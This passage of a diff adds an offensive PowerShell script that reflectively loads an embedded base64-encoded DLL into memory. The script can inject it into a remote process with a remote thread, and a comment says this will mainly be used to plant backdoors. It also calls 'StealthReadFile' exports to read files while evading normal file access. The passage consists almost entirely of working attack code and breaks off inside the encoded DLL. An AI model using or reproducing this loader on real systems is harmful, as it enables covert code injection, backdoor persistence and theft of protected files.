($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done unloading the libraries needed by the PE" + break + } + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) + $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) + + if ($ImportDllHandle -eq $null) + { + Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue + } + + $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) + if ($Success -eq $false) + { + Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + + #Call DllMain with process detach + Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null + + + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + + Function Main + { + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + + $RemoteProcHandle = [IntPtr]::Zero + + $ProcId = $null + $ExeArgs = $null + $ProcName = $null + + #Determine whether or not to use 32bit or 64bit bytes + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8) + { + [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes64) + } + else + { + [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32) + } + $PEBytes[0] = 0 + $PEBytes[1] = 0 + + #If a remote process to inject in to is specified, get a handle to it + if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) + { + Throw "Can't supply a ProcId and ProcName, choose one or the other" + } + elseif ($ProcName -ne $null -and $ProcName -ne "") + { + $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) + if ($Processes.Count -eq 0) + { + Throw "Can't find process $ProcName" + } + elseif ($Processes.Count -gt 1) + { + $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId + Write-Output $ProcInfo + Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." + } + else + { + $ProcId = $Processes[0].ID + } + } + + #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. + #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege +# if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) +# { +# Write-Verbose "Getting SeDebugPrivilege" +# Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants +# } + + if (($ProcId -ne $null) -and ($ProcId -ne 0)) + { + $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Throw "Couldn't obtain the handle for process ID: $ProcId" + } + + Write-Verbose "Got the handle for the remote process to inject in to" + } + + + #Load the PE reflectively + Write-Verbose "Calling Invoke-MemoryLoadLibrary" + $PEHandle = [IntPtr]::Zero + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs + } + else + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle + } + if ($PELoadedInfo -eq [IntPtr]::Zero) + { + Throw "Unable to load PE, handle returned is NULL" + } + + $PEHandle = $PELoadedInfo[0] + $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process + + + #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) + { + ######################################### + ### YOUR CODE GOES HERE + ######################################### + + Write-Verbose "Calling StealthReadFile in DLL" + + #Get some functions from the DLL + [IntPtr]$StealthReadFileAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StealthReadFile" + if ($StealthReadFileAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find address of StealthReadFile." + } + $StealthReadFileDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [UInt64], [UInt32].MakeByRefType(), [UInt64].MakeByRefType()) ([UInt32]) + $StealthReadFile = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StealthReadFileAddr, $StealthReadFileDelegate) + + [IntPtr]$StealthCloseFileAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StealthCloseFile" + if ($StealthCloseFileAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find address of StealthCloseFile." + } + $StealthCloseFileDelegate = Get-DelegateType @([IntPtr]) ([Void]) + $StealthCloseFile = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StealthCloseFileAddr, $StealthCloseFileDelegate) + + [IntPtr]$StealthOpenFileAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StealthOpenFile" + if ($StealthOpenFileAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find address of StealthOpenFile." + } + + $StealthOpenFileDelegate = Get-DelegateType @([String]) ([IntPtr]) + $StealthOpenFile = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StealthOpenFileAddr, $StealthOpenFileDelegate) + + + if ($RemoteDestination -imatch "^\s*$") + { + $RemoteDestination = $null + } + + #Open the file and get a stealth handle + [IntPtr]$FileHandle = $StealthOpenFile.Invoke($Path) + if ($FileHandle -eq [IntPtr]::Zero) + { + Throw "Couldn't get a handle for the file" + } + + $StopLoop = $false + do + { + [IntPtr]$BufferPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BufferSize) + [UInt32]$BytesRead = 0 + [UInt64]$BytesLeft = 0 + + [UInt32]$RetVal = $StealthReadFile.Invoke($FileHandle, $BufferPtr, $BufferSize, $FileOffset, [Ref]$BytesRead, [Ref]$BytesLeft) + + if ($RetVal -ne 0) + { + Write-Error "Error reading file. Return code: $RetVal" -ErrorAction Stop + } + #If there are still bytes of the file left, and a Path was not specified, throw an error. + # This means the user is attempting to stream back a file over PS remoting which is bigger than the max size they specified + if ($RemoteDestination -eq $null) + { + $StopLoop = $true + } + + [Byte[]]$ByteBuffer = New-Object Byte[] $BytesRead + [System.Runtime.InteropServices.Marshal]::Copy($BufferPtr, $ByteBuffer, 0, $BytesRead) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BufferPtr) + + if ($RemoteDestination -ne $null) + { + $FileStream = New-Object System.IO.FileStream $RemoteDestination,([System.IO.FileMode]::Append) + $FileStream.Seek(0, [System.IO.SeekOrigin]::End) | Out-Null + $FileStream.Write($ByteBuffer, 0, $BytesRead) | Out-Null + $FileStream.Flush() | Out-Null + $FileStream.Dispose() | Out-Null + $FileStream = $null + } + + [UInt64]$FileOffset += $BytesRead + + Write-Verbose "Read $BytesRead bytes. $BytesLeft bytes remaining." + } while (($BytesLeft -gt 0) -and ($StopLoop -eq $false)) + + #Close the file + $StealthCloseFile.Invoke($FileHandle) | Out-Null + + + + ######################################### + ### END OF YOUR CODE + ######################################### + } + #For remote DLL injection, call a void function which takes no parameters + elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) + { + Throw "VoidFunc couldn't be found in the DLL" + } + + $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle + $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle + + #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions + } + + #Don't free a library if it is injected in a remote process + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Invoke-MemoryFreeLibrary -PEHandle $PEHandle + } + else + { + #Just delete the memory allocated in PowerShell to build the PE before injecting to remote process + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + Write-Verbose "Done!" + + #More custom code + if ($RemoteDestination -eq $null) + { + $obj = New-Object PSObject + $obj | Add-Member -MemberType NoteProperty -Name Bytes -Value $ByteBuffer + $obj | Add-Member -MemberType NoteProperty -Name BytesLeft -Value $BytesLeft + $obj | Add-Member -MemberType NoteProperty -Name BytesRead -Value $BytesRead + return $obj + } + else + { + return $null + } + } + + Main +} + +#Main function to either run the script locally or remotely +Function Main +{ + if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) + { + $DebugPreference = "Continue" + } + + Write-Verbose "PowerShell ProcessID: $PID" + + [String]$PEBytes64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADK92adjpYIzo6WCM6OlgjOf1DGztGWCM5/UMXOhJYIzn9Qx86llgjOh+6bzo2WCM6OlgnO3ZYIzkx6286NlgjOTHrCzo+WCM5MesHOj5YIzkx6xM6PlgjOUmljaI6WCM4AAAAAAAAAAFBFAABkhgYAgY0mUgAAAAAAAAAA8AAiIAsCCwAA+AAAABIBAAAAAACcZgAAABAAAAAAAIABAAAAABAAAAACAAAFAAIAAAAAAAUAAgAAAAAAAFACAAAEAAAAAAAAAgBgAQAAEAAAAAAAABAAAAAAAAAAABAAAAAAAAAQAAAAAAAAAAAAABAAAABwuQEAiQAAAAyyAQAoAAAAACACAOABAAAAAAIARBAAAAAAAAAAAAAAADACAKgIAADAEgEAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOCIAQBwAAAAAAAAAAAAAAAAEAEAMAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAf/cAAAAQAAAA+AAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAAPmpAAAAEAEAAKoAAAD8AAAAAAAAAAAAAAAAAABAAABALmRhdGEAAABAPQAAAMABAAAaAAAApgEAAAAAAAAAAAAAAAAAQAAAwC5wZGF0YQAARBAAAAAAAgAAEgAAAMABAAAAAAAAAAAAAAAAAEAAAEAucnNyYwAAAOABAAAAIAIAAAIAAADSAQAAAAAAAAAAAAAAAABAAABALnJlbG9jAACOFAAAADACAAAWAAAA1AEAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBTSIPsIEiNBesVAQBIi9lIiQH2wgF0BejDTQAASIvDSIPEIFvDzMzMzMzMzMzMzESJAkiJSghIi8LDzMzMzMxAU0iD7DBIiwFJi9hEi8JIjVQkIP9QGEiLSwhIOUgIdQ6LCzkIdQiwAUiDxDBbwzLASIPEMFvDzMzMzMzMzMzMSDtKCHUIRDkCdQOwAcMywMPMzMzMzMzMzMzMzMzMzMxIjQWpcQEAw8zMzMzMzMzMSIlcJAhXSIPsMDPbQYvISIv6iVwkIOgtRAAASMdHGA8AAABIhcBIiV8QSI0Vd3EBAEgPRdCIHzgadA5Ig8v/kEj/w4A8GgB190yLw0iLz+hMAQAASItcJEBIi8dIg8QwX8PMzMzMzMzMzMzMzMzMzEiNBUFxAQDDzMzMzMzMzMxAU0iD7DAzwEiL2olEJCBBg/gBdSpIx0IYDwAAAEiJQhCIAkiNFR5xAQBEjUAVSIvL6OoAAABIi8NIg8QwW8PoPP///0iLw0iDxDBbw8zMzEiNBQlxAQDDzMzMzMzMzMxIiVwkCFdIg+wwM9tBi8hIi/qJXCQg6HVDAABIx0cYDwAAAEiFwEiJXxBIjRWXcAEASA9F0IgfOBp0DkiDy/+QSP/DgDwaAHX3TIvDSIvP6GwAAABIi1wkQEiLx0iDxDBfw8zMzMzMzMzMzMzMzMzMSIlcJAhXSIPsIEGLyEGL+EiL2ujgQgAAiTtIhcBIjQW0xgEAdQdIjQWbxgEASIlDCEiLw0iLXCQwSIPEIF/DzLgBAAAAw8zMzMzMzMzMzMxIiVwkCEiJdCQQV0iD7CBJi/hIi/JIi9lIhdJ0WkiLURhIg/oQcgVIiwHrA0iLwUg78HJDSIP6EHIDSIsJSANLEEg7znYxSIP6EHIFSIsD6wNIi8NIK/BNi8hIi9NMi8ZIi8tIi1wkMEiLdCQ4SIPEIF/pyQAAAEmD+P4Ph6QAAABIi0MYSTvAcyBMi0MQSIvXSIvL6KcCAABIhf90dEiDexgQckNIiwvrQU2FwHXqTIlDEEiD+BByGUiLA0SIAEiLw0iLXCQwSIt0JDhIg8QgX8NIi8PGAwBIi1wkMEiLdCQ4SIPEIF/DSIvLSIX/dAtMi8dIi9boFUQAAEiDexgQSIl7EHIFSIsD6wNIi8PGBDgASIt0JDhIi8NIi1wkMEiDxCBfw0iNDTRvAQDoH0MAAMzMzMzMzMzMzMzMzMzMzEiJXCQISIlsJBBIiXQkGFdIg+wgSIt6EEmL6EiL8kiL2Uk7+A+C2gAAAEkr+Ew7z0kPQvlIO8p1L0qNBAdIOUEQD4LKAAAASIN5GBBIiUEQcgNIiwnGBAgAM9JIi8vozQAAAOmEAAAASIP//g+HrAAAAEiLQRhIO8dzJ0yLQRBIi9foeQEAAEiF/3RgSIN+GBByA0iLNkiDexgQciRIiwvrIkiF/3XlSIl5EEiD+BByCEiLAUCIOOszSIvBxgEA6ytIi8tIhf90DEiNFC5Mi8fo+0IAAEiDexgQSIl7EHIFSIsD6wNIi8PGBDgASItsJDhIi3QkQEiLw0iLXCQwSIPEIF/DSI0N/W0BAOg4QgAAzEiNDfBtAQDoK0IAAMxIjQ37bQEA6OZBAADMzMzMzMxIiVwkCFdIg+wgSIt5EEiL2Ug7+g+CpAAAAEiLx0grwkk7wHc1SIN5GBBIiVEQchVIiwHGBBAASIvBSItcJDBIg8QgX8NIi8HGBBEASIvDSItcJDBIg8QgX8NNhcB0UUiDeRgQcgVIiwHrA0iLwUkr+EiNDBBIi8dIK8J0DEqNFAFMi8DoF0IAAEiDexgQSIl7EHIVSIsDxgQ4AEiLw0iLXCQwSIPEIF/DSIvDxgQ7AEiLw0iLXCQwSIPEIF/DSI0NE20BAOhOQQAAzMzMzMzMTIlEJBhIiVQkEEiJTCQIU1ZXQVZIg+w4SMdEJCD+////SYvwSIvZSIv6SIPPD0iD//52BUiL+us1TItBGEmLyEjR6Ui4q6qqqqqqqqpI9+dI0epIO8p2FkjHx/7///9Ii8dIK8FMO8B3BEqNPAFIjU8BRTP2SIXJdBlIg/n/dw3oL0gAAEyL8EiFwHUG6DpAAACQ6xRIi1wkYEiLdCRwSIt8JGhMi3QkeEiF9nQfSIN7GBByBUiLE+sDSIvTSIX2dAtMi8ZJi87oA0EAAEiDexgQcghIiwvodEcAAMYDAEyJM0iJexhIiXMQSIP/EHIDSYvexgQzAEiDxDhBXl9eW8PMzMzMzMzMzMzMzMzMzMxAU0iD7CBIjQUTbwEASIvZSIkB9sIBdAXoI0cAAEiLw0iDxCBbw8zMzMzMzMzMzMxIjQXpbgEASIkBw8zMzMzMi0FASIXSdAZIiQKLQUDzw0BTSIPsIEyLVCRQSYvYTIvZQccCAAAAAEWFyXQyixKLSUA70XIIM8BIg8QgW8NCjQQKO8F2ByvKQYkK6wNFiQpFiwJJA1M4SIvL6CFAAAC4AQAAAEiDxCBbw8zMzMzMzEiJTCQIU0iD7DBIx0QkIP7///9Ni9BIi9lIjQVQbgEASIkBSIlRCEyJQShJi0AIRA+3SAhmRIlJEEmLQAhEi0AMRIlBFEmLQgiLSBSJSxhJi0IISItIIEiJSyBIjQW+bQEASIkDSI0FNGwBAEiJQzgzwEiJQ1BIiUNISIlDWIlDQEiJUzCLSxToMz8AAEiJQ2hIi8voFwEAAIlDYEiLw0iDxDBbw8zMzMzMzMzMzMzMSIlcJAhXSIPsIIvaSIv56BwAAAD2wwF0CEiLz+i/RQAASIvHSItcJDBIg8QgX8PMSIlcJAhXSIPsIEiNBS9tAQBIi9lIiQFIi0lo6JBFAABIg3tIAHQzZg8fhAAAAAAASItDSEiLCEiJS1hIi0gI6GxFAABIi0tI6GNFAABIi0NYSIlDSEiFwHXWM/9IjQVdawEASIl7UEiJe0hIiXtYiXtASIlDOEg5e0h0Lg8fQABIi0NISIsISIlLWEiLSAjoHEUAAEiLS0joE0UAAEiLQ1hIiUNISIXAddZIiXtQSIl7SEiJe1iJe0BIjQXQbAEASIkDSItcJDBIg8QgX8PMzEiJXCQQSIlsJBhIiXQkIFdBVEFVQVZBV0iD7CBIi0EwRTPkSIvZD7dwIEWL/EWL7EgD8A+2BoTAD4QHAQAAZpAPtvhI/8aLx8HvBIPgD4P4CA+P7gAAAIP/CA+P5QAAAEhj6EiNTCRQSIvWTIvFTIlkJFDo6D0AAEyLdCRQTYX2D4i/AAAASAP1SYvshf90L0SLx0gD/kjHwP/////2R/+ASI1MJFBIi9ZID0XoSIlsJFDoqT0AAEiLbCRQSIv3TAP9D4jiAAAAuSAAAADockQAAEiF7UmLz0iL+EjHwP////9ID0TITIlvEEyJdwhIiQ9NA+5NjUX/TIlHGEiLSzBIi1EYSCtREEw7wndajUgR6C9EAABIhcB0IEiJeAhMiSBIi0tQSIXJdQZIiUNI6wNIiQH/Q0BIiUNQD7YGhMAPhfv+//+4AQAAAEiLXCRYSItsJGBIi3QkaEiDxCBBX0FeQV1BXF/DTDljSHQtDx8ASItDSEiLCEiJS1hIi0gI6FxDAABIi0tI6FNDAABIi0NYSIlDSEiFwHXWTIljUEyJY0hMiWNYRIljQDPA65zMzEiJXCQISIl0JBBXSIPsQEGL+EiL8kiL2UmD+f91J0SLQRQz0kiLzkQPr8fogI0AALgBAAAASItcJFBIi3QkWEiDxEBfw4tBFEiLSSBMjUQkNEkPr8GL0EUzyUiJRCQw/xXz9AAAiUQkaIP4/3UK/xXs9AAAhcB1M0SLQxRIi0sgTI1MJGhED6/HSIvWSMdEJCAAAAAA/xXN9AAAhcB0DItDFA+vxzlEJGh0hUiLXCRQSIt0JFgzwEiDxEBfw8zMzEiJbCQQSIl0JBhXQVZBV0iD7CBIi0EwTIt0JGhBi+hMi1AYTYv5SIvyTCtQEEiNBCpIi/lJ/8JBxwYAAAAASTvCdgczwOmvAAAAi0EUD6/FOUQkYHLtSItBSEiJQVhIhcAPhIMAAABIi0AISIXAdHpIiVwkQEyLQBBJO/BySUiLUBhIO/J3QEgr1ovNi91I/8JMi85IO8pIi88PR9pNK8hJi9dMAwhEi8Pokv7//4XAdDOLRxRBAR4Pr8NMA/iLw0gD8CvrdB5Ii0dYSIXAdBVIiwBIiUdYSIXAdAlIi0AISIXAdZBIi1wkQEGLBg+vRxRBiQa4AQAAAEiLbCRISIt0JFBIg8QgQV9BXl/DzMzMi0Fgw8zMzMzMzMzMzMzMzEiLQTBIhdJ0C0yLQChMiQJIi0EwSItAMMPMzMzMzMzMQFVWQVZBV0iD7DhMi7QkgAAAAEGL8U2L+EiL6UHHBgAAAABFhcl1D0GNQQFIg8Q4QV9BXl5dw0iLAkyLSTBJi1EwSDvCdg0zwEiDxDhBX0FeXl3DSI0MMEyJZCRwTIlsJDBIO8p2BIvyK/CLTRQz0kiJXCRgSPfxRIvpSIl8JGhEK+pMi+BEO+l0aUyLTWhIjUQkeEG4AQAAAEiJRCQoiUwkIEiLzUmL1OgS/v//hcAPhOcAAACLRRQ5RCR4D4XaAAAAi9BBi8WL/kQ77kmLz0EPQv1IK9BIA1VoRIvHiXwkeIvf6Mc5AABBAT5MA/sr90n/xIX2D4SaAAAAi10UM9KLxvfzi/iFwHRGSI1EJHgPr99Ni89IiUQkKESLx0mL1EiLzYlcJCDok/3//4XAdGyLTCR4O8t1ZIvDM9JMA+dMA/iLxvd1FEEBDovyhdJ0RUyLTWhIjUQkeEG4AQAAAEiJRCQoi0UUSYvUSIvNiUQkIOhJ/f//hcB0IotFFDlEJHh1GUiLVWhEi8ZJi8/oHTkAAEEBNrgBAAAA6wIzwEiLfCRoSItcJGBMi2QkcEyLbCQwSIPEOEFfQV5eXcPMzEiJXCQIV0iD7CBIjQW3ZgEASIvZi/pIiQFIi0kQSIXJdAXoST8AAED2xwF0CEiLy+g7PwAASIvDSItcJDBIg8QgX8PMzMzMzMzMzMzMzMzMSI0FcWYBAEiJAUiLSRBIhckPhQk/AADzw8zMzMzMzMxIiVwkCEiJdCQQV0iD7CCDeRwASYvwSIv6SIvZdHdIi0kQSIXJdAXo1D4AAItHGEiJcwiJQxhIg38QAHRS/8BIY8i4AgAAAEj34UjHwf////9ID0DBSIvI6NM3AABMY0MYSIlDEEiLVxBIi8joXz8AAEhjSxhIi0MQM9JmiRRISItcJDBIi3QkOEiDxCBfwzPSSIlTEEiLXCQwSIt0JDhIg8QgX8PMzMzMzMzMzMzMzEiJbCQYSIl0JCBXSIHsQAIAAEiLBUehAQBIM8RIiYQkMAIAAEiL+UiLSRAz7UiFyXQM6Bk+AABIiW8QiW8YSItXCEiJnCRYAgAASIXSdC8PtkJAhMB0Jw+28IH+BAEAAHYE997rGkiNTCQgSIPCQkyLxuipPgAAZolsdCDrAov1iXcYhfZ+Wo1GAUhjyLgCAAAASPfhSMfB/////0gPQMFIi8jo2DYAAIv1SIlHEDlvGH4gSIvdD7dMHCDoIEAAAEiLTxD/xmaJBAtIjVsCO3cYfONIY08YSItHEGaJLEjrB4lvGEiJbxBIi5wkWAIAAEiLjCQwAgAASDPM6KA2AABMjZwkQAIAAEmLayBJi3MoSYvjX8PMzMzMzMzMzMzMzEiJXCQISIlsJCBWV0FWSIHsQAIAAEiLBSSgAQBIM8RIiYQkMAIAADP/SIvySIvpTWPwi99FhcB+I0iNRCQgSCvwSI0EXg+3TAQg6HE/AABI/8NmiURcHkk73nzlTQP2SYH+CAIAAHNbSItVEEiNRCQgZkKJfDQgSCvQZg8fRAAAD7cIZjsMEHULSIPAAmaFyXXu6wUb/4PPAYvHSIuMJDACAABIM8zo1TUAAEyNnCRAAgAASYtbIEmLazhJi+NBXl9ew+ggQAAAzMzMzMzMzMxIiVwkCFdIgexQAgAASIsFXJ8BAEgzxEiJhCRAAgAASI1EJDBIi/lMi8JIg8v/M9IzyUSLy8dEJCgEAQAASIlEJCD/FVjuAACFwHQpSI1EJDBI/8NmgzxYAHX2gfsEAQAAfxJIjVQkMESLw0iLz+i9/v//6wW4AQAAAEiLjCRAAgAASDPM6CY1AABIi5wkYAIAAEiBxFACAABfw8zMzMzMSIlMJAhTSIPsMEjHRCQg/v///0iL2UiNBYNjAQBIiQFIiVEITIlBKEmLQAhED7dICGZEiUkQSYtACESLSAxEiUkUSYtACItIFIlLGEmLQAhIi0ggSIlLIEiNBRljAQBIiQNIiVMwD7dCFEgDwkiJQziLQhCJQ0BIjUtIM8BIiUEYSIlBCEiJQRBIjQVgYgEASIkDSI0FRmIBAEiJAUiLQzhIiUEI6Mb8//+QSIvDSIPEMFvDzMzMzMzMzMzMzMzMSIlcJAhXSIPsIEiNBR9iAQBIi9mL+kiJAUiNBThiAQBIiUFISItJWEiFyXQF6M46AABIjQWnYgEASIkDQPbHAXQISIvL6LY6AABIi8NIi1wkMEiDxCBfw8zMzMzMzMzMSIlMJAhTSIPsUEjHRCRA/v///0iL2UiNBWNiAQBIiQFIiVEITIlBKEmLQAhED7dICGZEiUkQSYtACESLSAxEiUkUSYtACItIFIlLGEmLQAhIi0ggSIlLIEiNBflhAQBIiQNIiVMwD7dCFEgDwkiJQziLQhCJQ0BIjQ3yYAEASIkL0eiJQ1iNSAG4AgAAAEj34UjHwf////9ID0DBSIvI6CwzAABIiUNIi0tY/8HoHjMAAEiJQ1BEi0NASItTOEiLS0joWTMAAItLWEiLQ0gz0maJFEhEi0tYSIlUJDhIiVQkMESJTCQoSItDUEiJRCQgTItDSDPJ/xXE6wAAi0tYSItDUMYEAQBIi8NIg8RQW8NIiVwkCFdIg+wgSI0FT2ABAEiL+YvaSIkBSItJSOhuOQAASItPUOhlOQAASI0FPmEBAEiJB/bDAXQISIvP6E45AABIi8dIi1wkMEiDxCBfw0iJdCQQV0iD7CCDeSAASIvySIv5dQ5Ii8FIi3QkOEiDxCBfw8dBHAEAAABIi0koSIlcJDBIhcl0DegCOQAASMdHKAAAAABIi14oD7dLCOgdMgAASIvTSIlHKEQPt0MISIvI6FkyAABMi0coSIvWSYPAEEiLz+jG+f//SItcJDBIi3QkOEiLx0iDxCBfw8zMzEiJXCQIV0iD7CCDeRwASI0FW18BAIv6SIkBSIvZdA5Ii0koSIXJdAXogzgAAEiLSxBIjQXQXwEASIkDSIXJdAXoazgAAED2xwF0CEiLy+hdOAAASIvDSItcJDBIg8QgX8PMzMzMzMzMzMzMzMzMzMxAU0iD7CBIjQXjXgEASIvZSIkBSItJKEiFyXQF6B84AABIg3sQAEiNBRNeAQBIiQN0QmZmZmZmZg8fhAAAAAAASItDEEiLCEiJSyBIi0gISIXJdApIiwG6AQAAAP8QSItLEOjZNwAASItDIEiJQxBIhcB1zDPASIlDGEiJQxBIiUMgiUMISIPEIFvDzMzMzMxIiVwkCFdIg+wgg3kIAIv6SIvZflBIg3kQAHQ4Dx9AAEiLQxBIiwhIiUsgSItICEiFyXQKSIsBugEAAAD/EEiLSxDoaTcAAEiLQyBIiUMQSIXAdcwzwEiJQxhIiUMQSIlDIIlDCEiLSyhIhcl0Beg9NwAASIvP6GUwAABIiUMoSItcJDBIg8QgX8PMzMzMzMxIiVwkCFdIg+wgi9pIi/nozP7///bDAXQISIvP6P82AABIi8dIi1wkMEiDxCBfw8xIiUwkCFNIg+wwSMdEJCD+////SIvZSI0Fs14BAEiJAUiJUQhMiUEoSYtACEQPt0gIZkSJSRBJi0AIRItIDESJSRRJi0AIi0gUiUsYSYtACEiLSCBIiUsgSI0FSV4BAEiJA0iJUzAPt0IUSAPCSIlDOItCEIlDQDPASIlDYEiJQ1hIiUNoiUNQSI0F6VwBAEiJA0iNBc9cAQBIiUNISItDOEiJQ3CDODB1CUiLy+jeAAAAkEiLw0iDxDBbw8zMzMxIiVwkCFdIg+wgi9pIi/noHAAAAPbDAXQISIvP6A82AABIi8dIi1wkMEiDxCBfw8xIiUwkCFNIg+wwSMdEJCD+////SIvZSI0Fa1wBAEiJAUiNBdlbAQBIiUFISIN5WAB0QmZmZmZmZg8fhAAAAAAASItDWEiLCEiJS2hIi0gISIXJdApIiwG6AQAAAP8QSItLWOiZNQAASItDaEiJQ1hIhcB1zDPASIlDYEiJQ1hIiUNoiUNQSI0FVF0BAEiJA0iDxDBbw8zMzMzMzMzMzMzMQFdBVkFXSIPsMEjHRCQg/v///0iJXCRYSIlsJGBIiXQkaEiL8UiLUXCLQhBIjXoQSAP4D7dvCDtqFA+HqgAAAEUz9kyNPdZbAQBmDx9EAAC5MAAAAOhqNQAASIvYSIlEJFBIhcB0MUyJcBhMiX